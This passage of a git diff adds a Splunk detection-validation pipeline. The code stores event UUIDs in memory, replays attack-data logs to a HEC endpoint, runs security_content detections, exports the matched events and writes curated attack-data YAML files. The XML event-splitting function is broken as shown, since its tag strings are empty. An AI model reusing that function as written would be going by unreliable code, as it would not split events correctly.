upload and detection attribution data.""" + + def __init__(self) -> None: + self._uploads: Dict[str, Dict[str, Any]] = {} + self._detection_matches: Dict[str, Dict[str, Set[str]]] = {} + + def store_upload( + self, + attack_data_uuid: str, + attack_data_file: str, + dataset_name: str, + source: str, + sourcetype: str, + index_name: str, + event_uuids: List[str], + ) -> None: + """Record the event UUIDs uploaded for one dataset of an attack data file.""" + if not event_uuids: + return + entry = self._uploads.setdefault( + attack_data_uuid, + {"file": attack_data_file, "datasets": {}}, + ) + entry["file"] = attack_data_file + entry["datasets"].setdefault(dataset_name, set()).update(event_uuids) + + def store_detection_result( + self, + attack_data_uuid: str, + detection_id: str, + detection_name: str, + detection_file: str, + matched_host_uuids: List[str], + ) -> None: + """Record which event UUIDs of an attack data file a detection matched.""" + if not matched_host_uuids: + return + self._detection_matches.setdefault(detection_file, {}).setdefault( + attack_data_uuid, set() + ).update(matched_host_uuids) + + def get_event_uuids_for_attack_data(self, attack_data_uuid: str) -> Set[str]: + """Return all uploaded event UUIDs recorded for an attack data file.""" + uuids: Set[str] = set() + for dataset_uuids in self.get_uploads_for_attack_data(attack_data_uuid).values(): + uuids.update(dataset_uuids) + return uuids + + def get_uploads_for_attack_data( + self, attack_data_uuid: str + ) -> Dict[str, Set[str]]: + """Return {dataset_name: {event_uuids}} recorded for an attack data file.""" + entry = self._uploads.get(attack_data_uuid, {}) + datasets = entry.get("datasets", {}) + return {name: set(uuids) for name, uuids in datasets.items()} + + def get_all_uploads(self) -> Dict[str, Dict[str, Any]]: + """Return the per-dataset UUID map for all uploaded attack data files.""" + uploads: Dict[str, Dict[str, Any]] = {} + for attack_data_uuid, entry in self._uploads.items(): + uploads[attack_data_uuid] = { + "file": entry.get("file", ""), + "datasets": { + name: set(uuids) + for name, uuids in entry.get("datasets", {}).items() + }, + } + return uploads + + def get_all_matched_host_uuids(self) -> Set[str]: + """Return the union of all detection-matched host UUIDs.""" + uuids: Set[str] = set() + for file_matches in self._detection_matches.values(): + for matched in file_matches.values(): + uuids.update(matched) + return uuids + + def get_all_detection_matches(self) -> Dict[str, Dict[str, Set[str]]]: + """Return per-detection attribution.""" + return { + detection_file: { + attack_data_uuid: set(matched) + for attack_data_uuid, matched in file_matches.items() + } + for detection_file, file_matches in self._detection_matches.items() + } + + def clear(self) -> int: + """Clear all stored data. Returns the number of upload records removed.""" + removed = len(self._uploads) + self._uploads.clear() + self._detection_matches.clear() + return removed diff --git a/scripts/migrate.py b/scripts/migrate.py new file mode 100644 index 000000000..5946fcac8 --- /dev/null +++ b/scripts/migrate.py @@ -0,0 +1,2174 @@ +#!/usr/bin/env python3 +""" +Attack Data -> Splunk pipeline. + +Detection-first pipeline for validating Splunk security_content detections +against attack_data datasets: + + 1. For each detection (alphabetically): resolve ``tests[].attack_data[]`` entries + (data URL, source, sourcetype) to local log files. + 2. upload Replay those logs to Splunk HEC with per-event UUID hosts; store + mappings in memory for the duration of the run. + 3. detect Run only that detection (with ``host`` preserved in output). + 4. export Export matched events and create or update curated attack data YAML + files named ``{technique}_{folder}.yml`` (e.g. ``T1001_snapattack.yml``). + 5. cleanup Delete uploaded events from the Splunk index before the next + detection. + +The ``run`` subcommand performs this loop. ``upload`` remains available standalone. +``--detection`` accepts a single file or folder. + +Connection settings (CLI flags override environment variables): + SPLUNK_HOST Splunk hostname/IP (required) + SPLUNK_HEC_TOKEN HEC token for uploading (required for upload) + SPLUNK_HEC_PORT HEC port (default: 8088) + SPLUNK_USERNAME Splunk user for searching (required for run) + SPLUNK_PASSWORD Splunk password for searching (required for run) + SPLUNK_PORT Splunk management port (default: 8089) + +Examples: + # Detection-first pipeline over a folder of detections + python scripts/migrate.py run \\ + --detection scripts/detection_tests + + # Use an alternate attack data root (e.g. local test copies) + python scripts/migrate.py run \\ + --detection scripts/detection_tests \\ + --attack-data-root scripts/attack_technique_tests + + # Resume after a failure at a specific detection UUID + python scripts/migrate.py run \\ + --detection scripts/detection_tests \\ + --start-from-detection-id fb4c31b0-13e8-4155-8aa5-24de4b8d6717 + + # Also update detection YAML tests with curated attack data URLs + python scripts/migrate.py run \\ + --detection scripts/detection_tests \\ + --update-detection-tests + + # Upload only (still requires --attack-data) + python scripts/migrate.py upload --attack-data datasets/malware/qakbot +""" + +import argparse +import json +import os +import re +import sys +import time +import urllib.parse +import uuid +from datetime import datetime +from pathlib import Path +from typing import Any, Dict, Iterator, List, Optional, Set, Tuple + +import requests +import yaml +from urllib3 import disable_warnings + +import memory_store +import detection_utils +import splunk_search + +DEFAULT_INDEX = "test" +DEFAULT_HEC_PORT = "8088" +DEFAULT_MGMT_PORT = "8089" +DEFAULT_BATCH_SIZE = 500 +DEFAULT_INDEX_WAIT_SECONDS = 10 +DEFAULT_RUN_LOG = "migrate_run.log" +CURATED_ATTACK_DATA_YML = re.compile(r"^T[\d.]+_.+\.(ya?ml)$", re.IGNORECASE) +EXTRACTION_SUCCESS_STATUSES = frozenset({"curated"}) +ATTACK_DATA_AUTHOR = "STRT" + + +# --------------------------------------------------------------------------- # +# Configuration helpers +# --------------------------------------------------------------------------- # +def get_project_root() -> Path: + """Return the repository root (the parent of the scripts/ directory).""" + return Path(__file__).resolve().parent.parent + + +def load_env() -> None: + """Load environment variables from a .env file if one is present. + + Looks for a .env file next to this script first, then at the repository + root. Each run re-loads the .env file and overrides any existing values + already present in the environment. + """ + try: + from dotenv import load_dotenv + except ImportError: + print("Warning: python-dotenv not installed; skipping .env loading") + return + script_dir = Path(__file__).resolve().parent + for candidate in (script_dir / ".env", get_project_root() / ".env"): + if candidate.is_file(): + load_dotenv(candidate, override=True) + print(f"Loaded environment from {candidate}") + + +def load_hec_config(args: argparse.Namespace) -> Dict[str, str]: + """Resolve Splunk HEC (upload) settings from CLI args or environment.""" + host = args.host or os.environ.get("SPLUNK_HOST") + token = args.hec_token or os.environ.get("SPLUNK_HEC_TOKEN") + port = args.hec_port or os.environ.get("SPLUNK_HEC_PORT") or DEFAULT_HEC_PORT + + missing = [] + if not host: + missing.append("SPLUNK_HOST (or --host)") + if not token: + missing.append("SPLUNK_HEC_TOKEN (or --hec-token)") + if missing: + raise ValueError("Missing HEC settings: " + ", ".join(missing)) + + return {"host": host, "token": token, "port": str(port)} + + +def load_mgmt_config(args: argparse.Namespace) -> Dict[str, str]: + """Resolve Splunk management (search) settings from CLI args or environment.""" + host = args.host or os.environ.get("SPLUNK_HOST") + username = args.username or os.environ.get("SPLUNK_USERNAME") + password = args.password or os.environ.get("SPLUNK_PASSWORD") + port = args.mgmt_port or os.environ.get("SPLUNK_PORT") or DEFAULT_MGMT_PORT + + missing = [] + if not host: + missing.append("SPLUNK_HOST (or --host)") + if not username: + missing.append("SPLUNK_USERNAME (or --username)") + if not password: + missing.append("SPLUNK_PASSWORD (or --password)") + if missing: + raise ValueError("Missing Splunk management settings: " + ", ".join(missing)) + + return {"host": host, "username": username, "password": password, "port": str(port)} + + +# --------------------------------------------------------------------------- # +# Attack data discovery / parsing +# --------------------------------------------------------------------------- # +def find_attack_data_files(path: Path) -> List[Path]: + """Return attack data YAML files for a single file or a folder (recursive).""" + if path.is_file(): + return [path] if path.suffix.lower() in (".yml", ".yaml") else [] + if not path.is_dir(): + return [] + yaml_files: List[Path] = [] + for pattern in ("**/*.yml", "**/*.yaml"): + yaml_files.extend(path.glob(pattern)) + yaml_files = [ + f + for f in yaml_files + if not f.name.startswith("TEMPLATE") and "old" not in f.name.lower() + ] + return sorted(set(yaml_files)) + + +def parse_attack_data_file( + yml_file: Path, +) -> Tuple[Optional[str], List[Dict[str, Any]]]: + """Parse an attack data YAML file into (file_id, datasets).""" + try: + with open(yml_file, "r", encoding="utf-8") as file: + data = yaml.safe_load(file) + except (yaml.YAMLError, OSError) as exc: + print(f" ! Error parsing {yml_file}: {exc}") + return None, [] + + if not isinstance(data, dict): + return None, [] + file_id = data.get("id") + datasets = data.get("datasets") + if not file_id or not isinstance(datasets, list): + return None, [] + return file_id, datasets + + +def resolve_dataset_path(project_root: Path, yml_file: Path, dataset_path: str) -> Path: + """Resolve a dataset path (``/datasets/...`` = repo-relative) to an absolute path.""" + if dataset_path.startswith("/"): + return project_root / dataset_path.lstrip("/") + return yml_file.parent / dataset_path + + +def _relative(path: Path, root: Path) -> str: + try: + return str(path.relative_to(root)) + except ValueError: + return str(path) + + +def resolve_attack_data_root(raw_path: Optional[str], project_root: Path) -> Path: + """Resolve the attack data root directory used for test URL lookup.""" + rel = raw_path or "datasets" + path = Path(rel) + if not path.is_absolute(): + candidate = (Path.cwd() / path) + path = candidate if candidate.exists() else (project_root / rel) + return path.resolve() + + +def resolve_attack_data_log_path( + repo_path: str, + project_root: Path, + attack_data_root: Path, +) -> Optional[Path]: + """Resolve a ``/datasets/...`` repo path to a local attack data log file.""" + relative = repo_path.lstrip("/") + root = attack_data_root.resolve() + default_root = (project_root / "datasets").resolve() + + root_candidates: List[Path] = [] + if relative.startswith("datasets/"): + remainder = relative[len("datasets/"):] + root_candidates.append(root / remainder) + if remainder.startswith("attack_techniques/"): + root_candidates.append(root / remainder[len("attack_techniques/"):]) + else: + root_candidates.append(root / relative) + + repo_candidate = project_root / relative + if root != default_root: + candidates = root_candidates + [repo_candidate] + else: + candidates = [repo_candidate] + root_candidates + + seen: Set[Path] = set() + for candidate in candidates: + resolved = candidate.resolve() + if resolved in seen: + continue + seen.add(resolved) + if resolved.is_file(): + return resolved + return None + + +def is_curated_attack_data_yml(name: str) -> bool: + """Return True if ``name`` looks like a generated curated attack data YAML.""" + return bool(CURATED_ATTACK_DATA_YML.match(name)) + + +def curated_attack_data_path(folder: Path) -> Path: + """Return the curated YAML path for a dataset folder.""" + technique = folder.parent.name + folder_name = folder.name + return folder / f"{technique}_{folder_name}.yml" + + +def curated_attack_data_path_from_source(source_yml: Path) -> Path: + """Return the curated YAML path for a legacy source attack data YAML file.""" + return curated_attack_data_path(source_yml.parent) + + +def _dataset_name_from_log(log_path: Path) -> str: + return log_path.stem + + +def _mitre_techniques_from_detection(detection: Dict[str, Any]) -> List[str]: + tags = detection.get("tags") or {} + technique_ids = tags.get("mitre_attack_id") or [] + return [str(item) for item in technique_ids] + + +def resolve_detection_test_datasets( + detection: Dict[str, Any], + project_root: Path, + attack_data_root: Path, +) -> List[Dict[str, Any]]: + """Resolve detection test attack_data entries to local upload specs.""" + specs: List[Dict[str, Any]] = [] + seen_logs: Set[Path] = set() + + for test_entry in detection_utils.parse_detection_tests(detection): + repo_path = detection_utils.github_url_to_repo_path(test_entry["data_url"]) + if not repo_path: + print(f" ! Could not parse attack data URL: {test_entry['data_url']}") + continue + + log_path = resolve_attack_data_log_path( + repo_path, project_root, attack_data_root + ) + if log_path is None: + print(f" ! Attack data log not found for {repo_path} " + f"(root={attack_data_root})") + continue + + resolved_log = log_path.resolve() + if resolved_log in seen_logs: + continue + seen_logs.add(resolved_log) + + source = test_entry.get("source") + sourcetype = test_entry.get("sourcetype") + if not source or not sourcetype: + print(f" ! Missing source or sourcetype for {repo_path}, skipping") + continue + + specs.append( + { + "name": _dataset_name_from_log(log_path), + "log_path": resolved_log, + "source": source, + "sourcetype": sourcetype, + "data_url": test_entry["data_url"], + "repo_path": repo_path, + "output_folder": resolved_log.parent, + } + ) + return specs + + +def _group_detection_datasets_by_folder( + dataset_specs: List[Dict[str, Any]], +) -> Dict[Path, List[Dict[str, Any]]]: + grouped: Dict[Path, List[Dict[str, Any]]] = {} + for spec in dataset_specs: + grouped.setdefault(spec["output_folder"], []).append(spec) + return grouped + + +def _attack_data_uuid_for_folder(folder: Path) -> str: + curated_path = curated_attack_data_path(folder) + if curated_path.is_file(): + file_id, _ = parse_attack_data_file(curated_path) + if file_id: + return file_id + return str(uuid.uuid4()) + + +def find_source_attack_data_yml(folder: Path) -> Optional[Path]: + """Find the original attack data YAML in a dataset folder.""" + candidates: List[Path] = [] + for yml_file in folder.glob("*.yml"): + if is_curated_attack_data_yml(yml_file.name): + continue + if yml_file.name.startswith("TEMPLATE") or "old" in yml_file.name.lower(): + continue + file_id, datasets = parse_attack_data_file(yml_file) + if file_id and datasets: + candidates.append(yml_file) + + if not candidates: + for yml_file in folder.glob("*.yaml"): + if is_curated_attack_data_yml(yml_file.name): + continue + if yml_file.name.startswith("TEMPLATE") or "old" in yml_file.name.lower(): + continue + file_id, datasets = parse_attack_data_file(yml_file) + if file_id and datasets: + candidates.append(yml_file) + + if not candidates: + return None + if len(candidates) == 1: + return candidates[0] + + preferred = folder / f"{folder.name}.yml" + if preferred in candidates: + return preferred + return sorted(candidates)[0] + + +def resolve_source_attack_data_ymls( + detection_file: Path, + project_root: Path, + attack_data_root: Path, +) -> List[Path]: + """Resolve detection test URLs to local source attack data YAML files.""" + detection = detection_utils.load_full_detection(detection_file) + if not detection: + return [] + + source_ymls: Dict[Path, bool] = {} + for test_entry in detection_utils.parse_detection_tests(detection): + repo_path = detection_utils.github_url_to_repo_path(test_entry["data_url"]) + if not repo_path: + print(f" ! Could not parse attack data URL: {test_entry['data_url']}") + continue + + log_path = resolve_attack_data_log_path( + repo_path, project_root, attack_data_root + ) + if log_path is None: + print(f" ! Attack data log not found for {repo_path} " + f"(root={attack_data_root})") + continue + + source_yml = find_source_attack_data_yml(log_path.parent) + if not source_yml: + print(f" ! No source attack data YAML in {log_path.parent}") + continue + source_ymls[source_yml.resolve()] = True + + return sorted(source_ymls.keys()) + + +def sort_detections_by_name(detection_files: List[Path]) -> List[Path]: + """Sort detection files alphabetically by detection name.""" + def sort_key(det_file: Path) -> str: + detection = detection_utils.parse_detection_file(det_file) + return (detection or {}).get("name", det_file.stem).lower() + + return sorted(detection_files, key=sort_key) + + +def filter_detections_from_id( + detection_files: List[Path], + start_from_id: Optional[str], +) -> List[Path]: + """Return detections sorted by name, optionally starting at a detection UUID.""" + sorted_files = sort_detections_by_name(detection_files) + if not start_from_id: + return sorted_files + + for index, det_file in enumerate(sorted_files): + detection = detection_utils.load_full_detection(det_file) + if detection and detection.get("id", "").lower() == start_from_id.lower(): + if index > 0: + print(f"Resuming at detection id={start_from_id} " + f"({detection['name']}); skipping {index} earlier detection(s)") + return sorted_files[index:] + + print(f"Warning: --start-from-detection-id {start_from_id} not found; " + "processing all detections") + return sorted_files + + +def filter_runnable_detections( + detection_files: List[Path], +) -> Tuple[List[Path], List[Tuple[str, str, str]]]: + """Drop experimental and deprecated detections from the run list.""" + runnable: List[Path] = [] + ignored: List[Tuple[str, str, str]] = [] + + for det_file in detection_files: + detection = detection_utils.parse_detection_file(det_file) + det_path = str(det_file) + if not detection: + runnable.append(det_file) + continue + status = detection.get("status", "") + if detection_utils.is_ignored_detection_status(status): + ignored.append((detection["name"], det_path, status)) + continue + runnable.append(det_file) + + return runnable, ignored + + +# --------------------------------------------------------------------------- # +# HEC upload +# --------------------------------------------------------------------------- # +def build_hec_url(config: Dict[str, str]) -> str: + return urllib.parse.urljoin( + f"https://{config['host']}:{config['port']}", + "services/collector/event", + ) + + +def send_event_batch( + session: requests.Session, + url: str, + config: Dict[str, str], + events: List[Dict[str, Any]], + verify_tls: bool, +) -> bool: + """Send a batch of events to the HEC JSON event endpoint.""" + if not events: + return True + headers = { + "Authorization": f"Splunk {config['token']}", + "X-Splunk-Request-Channel": str(uuid.uuid4()), + } + payload = "\n".join(json.dumps(event) for event in events) + try: + res = session.post( + url, data=payload.encode("utf-8"), headers=headers, verify=verify_tls + ) + except requests.RequestException as exc: + print(f" x Error sending batch of {len(events)} event(s): {exc}") + return False + + if res.ok: + return True + print(f" x HTTP {res.status_code} sending batch of {len(events)} event(s)") + try: + data = res.json() + print(f" HEC response: code={data.get('code')}, text={data.get('text')}") + except ValueError: + print(f" HEC raw response: {res.text.strip()}") + return False + + +def iter_event_lines(file_path: Path) -> Iterator[str]: + """Yield each non-empty line of a dataset file (line endings stripped).""" + with open(file_path, "r", encoding="utf-8", errors="replace") as datafile: + for line in datafile: + line = line.rstrip("\n").rstrip("\r") + if line.strip(): + yield line + + +def _is_powershell_xml_dataset(source: str, sourcetype: str) -> bool: + """Return True when a dataset file contains multi-line Windows PowerShell XML events.""" + return ( + sourcetype.lower() == "xmlwineventlog" + and "powershell" in source.lower() + ) + + +def iter_xml_events(file_path: Path) -> Iterator[str]: + """Yield each top-level ``...`` document from a file.""" + with open(file_path, "r", encoding="utf-8", errors="replace") as datafile: + content = datafile.read() + + start = 0 + while True: + event_start = content.find("", event_start) + if event_end < 0: + break + event_end += len("") + event = content[event_start:event_end] + if event.strip(): + yield event + start = event_end + + +def iter_dataset_events( + file_path: Path, + source: str, + sourcetype: str, +) -> Iterator[str]: + """Yield uploadable events from a dataset file. + + Line-delimited files (JSON, single-line XML, etc.) yield one event per non-empty + line. PowerShell ``XmlWinEventLog`` files can contain multi-line script block + events and are split into individual ``...`` documents instead. + """ + if _is_powershell_xml_dataset(source, sourcetype): + yield from iter_xml_events(file_path) + return + yield from iter_event_lines(file_path) + + +def upload_dataset_lines( + session: requests.Session, + url: str, + config: Dict[str, str], + file_path: Path, + index: str, + source: str, + sourcetype: str, + batch_size: int, + verify_tls: bool, +) -> Tuple[List[str], int]: + """Upload each event in a dataset file to HEC with its own UUID host.""" + event_uuids: List[str] = [] + failed = 0 + batch: List[Dict[str, Any]] = [] + batch_uuids: List[str] = [] + + def flush() -> None: + nonlocal failed + if not batch: + return + if send_event_batch(session, url, config, batch, verify_tls): + event_uuids.extend(batch_uuids) + else: + failed += len(batch) + batch.clear() + batch_uuids.clear() + + for event in iter_dataset_events(file_path, source, sourcetype): + event_uuid = str(uuid.uuid4()) + batch.append( + { + "event": event, + "host": event_uuid, + "source": source, + "sourcetype": sourcetype, + "index": index, + } + ) + batch_uuids.append(event_uuid) + if len(batch) >= batch_size: + flush() + flush() + return event_uuids, failed + + +def upload_attack_data_file( + session: requests.Session, + url: str, + store: memory_store.MigrationStore, + yml_file: Path, + project_root: Path, + config: Dict[str, str], + index: str, + batch_size: int, + verify_tls: bool, +) -> Tuple[Optional[str], str, Dict[str, Set[str]], int, int]: + """Upload every dataset in one attack data file; record the UUID map in memory. + + Returns (attack_data_uuid, attack_data_file, dataset_uuids, sent, failed) where + dataset_uuids maps each dataset name to its set of event UUIDs. + """ + rel_file = _relative(yml_file, project_root) + print(f"\nProcessing {rel_file}...") + file_id, datasets = parse_attack_data_file(yml_file) + if not file_id or not datasets: + print(" ! Skipping - no valid attack data structure found") + return None, rel_file, {}, 0, 0 + + print(f" attack data uuid: {file_id}") + dataset_uuids: Dict[str, Set[str]] = {} + sent_events = 0 + failed_events = 0 + + for dataset in datasets: + name = dataset.get("name", "unknown") + dataset_path = dataset.get("path") + source = dataset.get("source") + sourcetype = dataset.get("sourcetype") + if not dataset_path or not source or not sourcetype: + print(f" ! Dataset '{name}' missing path/source/sourcetype, skipping") + continue + + full_path = resolve_dataset_path(project_root, yml_file, dataset_path) + if not full_path.exists(): + print(f" ! Dataset file not found: {full_path}") + continue + + print(f" dataset '{name}' -> index={index}, source={source}, " + f"sourcetype={sourcetype}") + event_uuids, failed = upload_dataset_lines( + session=session, + url=url, + config=config, + file_path=full_path, + index=index, + source=source, + sourcetype=sourcetype, + batch_size=batch_size, + verify_tls=verify_tls, + ) + print(f" + {len(event_uuids)} event(s) sent, {failed} failed") + + store.store_upload( + attack_data_uuid=file_id, + attack_data_file=rel_file, + dataset_name=name, + source=source, + sourcetype=sourcetype, + index_name=index, + event_uuids=event_uuids, + ) + # Multiple datasets may share a name; merge their UUID sets. + dataset_uuids.setdefault(name, set()).update(event_uuids) + sent_events += len(event_uuids) + failed_events += failed + + return file_id, rel_file, dataset_uuids, sent_events, failed_events + + +def do_upload( + yaml_files: List[Path], + store: memory_store.MigrationStore, + hec_config: Dict[str, str], + project_root: Path, + index: str, + batch_size: int, + verify_tls: bool, +) -> Dict[str, Dict[str, Any]]: + """Upload all attack data files. + + Returns {attack_data_uuid: {"file": , "datasets": {name: {uuids}}}}. + """ + if not verify_tls: + disable_warnings() + session = requests.Session() + url = build_hec_url(hec_config) + + uuid_map: Dict[str, Dict[str, Any]] = {} + total_sent = 0 + total_failed = 0 + for yml_file in yaml_files: + file_id, rel_file, dataset_uuids, sent, failed = upload_attack_data_file( + session=session, + url=url, + store=store, + yml_file=yml_file, + project_root=project_root, + config=hec_config, + index=index, + batch_size=batch_size, + verify_tls=verify_tls, + ) + total_sent += sent + total_failed += failed + if file_id and dataset_uuids: + entry = uuid_map.setdefault(file_id, {"file": rel_file, "datasets": {}}) + for name, uuids in dataset_uuids.items(): + entry["datasets"].setdefault(name, set()).update(uuids) + + print(f"\nUpload complete: {total_sent} event(s) sent, {total_failed} failed, " + f"{len(uuid_map)} attack data file(s) mapped in memory") + return uuid_map + + +# --------------------------------------------------------------------------- # +# Detection running + attribution +# --------------------------------------------------------------------------- # +def _file_uuid_set(entry: Dict[str, Any]) -> Set[str]: + """Union of all dataset UUID sets for one attack data file entry.""" + result: Set[str] = set() + for uuids in entry["datasets"].values(): + result.update(uuids) + return result + + +def do_detect( + detection_files: List[Path], + service, + store: memory_store.MigrationStore, + uuid_map: Dict[str, Dict[str, Any]], + index: str, + earliest: str, + latest: str, +) -> Tuple[Set[str], Dict[str, Dict[str, Set[str]]], Dict[str, str]]: + """Run detections, attribute matched hosts to attack data files, store in memory. + + Returns the global set of matched host UUIDs (across all detections), a + per-detection map ``{detection_file: {attack_data_uuid: matched_hosts}}``, + and a per-detection status map ``{detection_file: reason}``. + """ + all_matched: Set[str] = set() + detection_matches: Dict[str, Dict[str, Set[str]]] = {} + detection_status: Dict[str, str] = {} + our_uuids: Set[str] = set() + for entry in uuid_map.values(): + our_uuids.update(_file_uuid_set(entry)) + + print(f"\nRunning {len(detection_files)} detection(s) over index={index} " + f"(earliest={earliest}, latest={latest})") + + for det_file in detection_files: + detection = detection_utils.parse_detection_file(det_file) + if not detection: + print(f" ! Skipping non-detection file: {det_file}") + detection_status[str(det_file)] = "skipped" + continue + + det_path = detection["file"] + patched = detection_utils.prepare_detection_search(detection["search"]) + print(f"\n Detection: {detection['name']}") + try: + rows = splunk_search.run_search( + service, patched, earliest_time=earliest, latest_time=latest + ) + except Exception as exc: # noqa: BLE001 - report and continue + print(f" x Search failed: {exc}") + detection_status[det_path] = "search_failed" + continue + + matched_hosts = splunk_search.collect_hosts_from_rows(rows) + # Restrict to hosts we uploaded (ignore any pre-existing data in the index). + matched_hosts &= our_uuids + print(f" results: {len(rows)} row(s), {len(matched_hosts)} matched host(s)") + + if not matched_hosts: + detection_status[det_path] = "no_matches" + continue + all_matched.update(matched_hosts) + detection_status[det_path] = "matched" + + file_matches: Dict[str, Set[str]] = {} + # Attribute matched hosts back to each attack data file. + for attack_data_uuid, entry in uuid_map.items(): + attributed = matched_hosts & _file_uuid_set(entry) + if not attributed: + continue + file_matches[attack_data_uuid] = attributed + store.store_detection_result( + attack_data_uuid=attack_data_uuid, + detection_id=detection.get("id", ""), + detection_name=detection["name"], + detection_file=detection["file"], + matched_host_uuids=sorted(attributed), + ) + print(f" {attack_data_uuid}: {len(attributed)} matched event(s)") + + if file_matches: + detection_matches[detection["file"]] = file_matches + + return all_matched, detection_matches, detection_status + + +def run_single_detection( + detection_file: Path, + service, + store: memory_store.MigrationStore, + uuid_map: Dict[str, Dict[str, Any]], + earliest: str, + latest: str, +) -> Tuple[Set[str], Dict[str, Set[str]], str]: + """Run one detection and return matched hosts plus per-file attribution.""" + detection = detection_utils.parse_detection_file(detection_file) + if not detection: + return set(), {}, "skipped" + + our_uuids: Set[str] = set() + for entry in uuid_map.values(): + our_uuids.update(_file_uuid_set(entry)) + + det_path = detection["file"] + patched = detection_utils.prepare_detection_search(detection["search"]) + print(f"\n Detection: {detection['name']}") + try: + rows = splunk_search.run_search( + service, patched, earliest_time=earliest, latest_time=latest + ) + except Exception as exc: # noqa: BLE001 - report and continue + print(f" x Search failed: {exc}") + return set(), {}, "search_failed" + + matched_hosts = splunk_search.collect_hosts_from_rows(rows) + matched_hosts &= our_uuids + print(f" results: {len(rows)} row(s), {len(matched_hosts)} matched host(s)") + if not matched_hosts: + return set(), {}, "no_matches" + + file_matches: Dict[str, Set[str]] = {} + for attack_data_uuid, entry in uuid_map.items(): + attributed = matched_hosts & _file_uuid_set(entry) + if not attributed: + continue + file_matches[attack_data_uuid] = attributed + store.store_detection_result( + attack_data_uuid=attack_data_uuid, + detection_id=detection.get("id", ""), + detection_name=detection["name"], + detection_file=detection["file"], + matched_host_uuids=sorted(attributed), + ) + print(f" {attack_data_uuid}: {len(attributed)} matched event(s)") + + return matched_hosts, file_matches, "matched" + + +def upload_source_ymls( + source_ymls: List[Path], + session: requests.Session, + url: str, + store: memory_store.MigrationStore, + hec_config: Dict[str, str], + project_root: Path, + index: str, + batch_size: int, + verify_tls: bool, +) -> Dict[str, Dict[str, Any]]: + """Upload all datasets from the given source attack data YAML files.""" + uuid_map: Dict[str, Dict[str, Any]] = {} + for yml_file in source_ymls: + file_id, rel_file, dataset_uuids, _, _ = upload_attack_data_file( + session=session, + url=url, + store=store, + yml_file=yml_file, + project_root=project_root, + config=hec_config, + index=index, + batch_size=batch_size, + verify_tls=verify_tls, + ) + if file_id and dataset_uuids: + uuid_map[file_id] = { + "file": rel_file, + "datasets": dataset_uuids, + "source_yml": str(yml_file.resolve()), + "curated_path": str(curated_attack_data_path_from_source(yml_file).resolve()), + "output_folder": str(yml_file.parent.resolve()), + } + return uuid_map + + +def upload_detection_test_datasets( + dataset_specs: List[Dict[str, Any]], + session: requests.Session, + url: str, + store: memory_store.MigrationStore, + hec_config: Dict[str, str], + project_root: Path, + index: str, + batch_size: int, + verify_tls: bool, +) -> Dict[str, Dict[str, Any]]: + """Upload log files referenced directly by a detection's tests.""" + uuid_map: Dict[str, Dict[str, Any]] = {} + + for folder, folder_specs in _group_detection_datasets_by_folder(dataset_specs).items(): + attack_data_uuid = _attack_data_uuid_for_folder(folder) + curated_path = curated_attack_data_path(folder) + rel_curated = _relative(curated_path, project_root) + print(f"\nProcessing test datasets in {folder}...") + print(f" attack data uuid: {attack_data_uuid}") + + entry: Dict[str, Any] = { + "file": rel_curated, + "datasets": {}, + "dataset_meta": {}, + "output_folder": str(folder), + "curated_path": str(curated_path.resolve()), + } + sent_events = 0 + failed_events = 0 + + for spec in folder_specs: + name = spec["name"] + source = spec["source"] + sourcetype = spec["sourcetype"] + log_path = spec["log_path"] + print(f" dataset '{name}' -> index={index}, source={source}, " + f"sourcetype={sourcetype}") + event_uuids, failed = upload_dataset_lines( + session=session, + url=url, + config=hec_config, + file_path=log_path, + index=index, + source=source, + sourcetype=sourcetype, + batch_size=batch_size, + verify_tls=verify_tls, + ) + print(f" + {len(event_uuids)} event(s) sent, {failed} failed") + if not event_uuids: + continue + + store.store_upload( + attack_data_uuid=attack_data_uuid, + attack_data_file=rel_curated, + dataset_name=name, + source=source, + sourcetype=sourcetype, + index_name=index, + event_uuids=event_uuids, + ) + entry["datasets"].setdefault(name, set()).update(event_uuids) + entry["dataset_meta"][name] = { + "source": source, + "sourcetype": sourcetype, + "path": spec["repo_path"], + } + sent_events += len(event_uuids) + failed_events += failed + + if entry["datasets"]: + uuid_map[attack_data_uuid] = entry + elif sent_events == 0 and failed_events == 0: + print(f" ! No events uploaded from {folder}") + + return uuid_map + + +def export_and_curate_detection( + service, + index: str, + uuid_map: Dict[str, Dict[str, Any]], + matched_hosts: Set[str], + export_dir: Optional[str], + project_root: Path, + earliest: str, + latest: str, + detection: Optional[Dict[str, Any]] = None, +) -> bool: + """Export matched events for one detection and merge into curated YAML files.""" + if not matched_hosts: + return False + + out_dir: Optional[Path] = None + if export_dir: + out_dir = Path(export_dir) + if not out_dir.is_absolute(): + out_dir = (Path.cwd() / out_dir).resolve() + out_dir.mkdir(parents=True, exist_ok=True) + + print(f"\nExporting matched events per dataset from index={index}") + curated_any = False + + for attack_data_uuid, entry in uuid_map.items(): + if not (matched_hosts & _file_uuid_set(entry)): + continue + + curated_path = Path(entry.get("curated_path", "")) + if not curated_path.is_file(): + curated_path = curated_attack_data_path( + Path(entry.get("output_folder", project_root)) + ) + source_yml_path = entry.get("source_yml") + source_yml = Path(source_yml_path) if source_yml_path else None + if source_yml and not source_yml.is_file(): + source_yml = _resolve_attack_data_yml(project_root, entry.get("file", "")) + if not source_yml.is_file(): + source_yml = None + + dataset_events: Dict[str, List[str]] = {} + for dataset_name, dataset_uuids in entry["datasets"].items(): + hosts = matched_hosts & dataset_uuids + if not hosts: + continue + + raw_events = splunk_search.export_events( + service, index, hosts, earliest_time=earliest, latest_time=latest + ) + filename = _dataset_log_filename(dataset_name, attack_data_uuid) + print(f" {dataset_name} ({attack_data_uuid}): " + f"{len(hosts)} matched host(s), {len(raw_events)} event(s) -> {filename}") + if out_dir is not None: + _write_events(out_dir / filename, raw_events) + dataset_events[dataset_name] = raw_events + + if dataset_events: + merge_curated_attack_data_yml( + curated_path, + dataset_events, + project_root, + attack_data_uuid, + entry.get("dataset_meta", {}), + source_yml=source_yml, + detection=detection, + ) + curated_any = True + + return curated_any + + +def build_attack_data_entries_from_uuid_map( + uuid_map: Dict[str, Dict[str, Any]], + matched_dataset_names: Set[str], + project_root: Path, +) -> List[Dict[str, str]]: + """Build detection test attack_data entries from curated UUID map entries.""" + entries: List[Dict[str, str]] = [] + seen_urls: Set[str] = set() + + for entry in uuid_map.values(): + curated_path = Path(entry.get("curated_path", "")) + if curated_path.is_file(): + meta_by_name = load_attack_data_dataset_meta(curated_path) + else: + meta_by_name = entry.get("dataset_meta", {}) + + for dataset_name, meta in meta_by_name.items(): + if dataset_name not in matched_dataset_names: + continue + path = meta.get("path", "") + sourcetype = meta.get("sourcetype", "") + if not path or not sourcetype: + continue + data_url = path_to_attack_data_url(path) + if 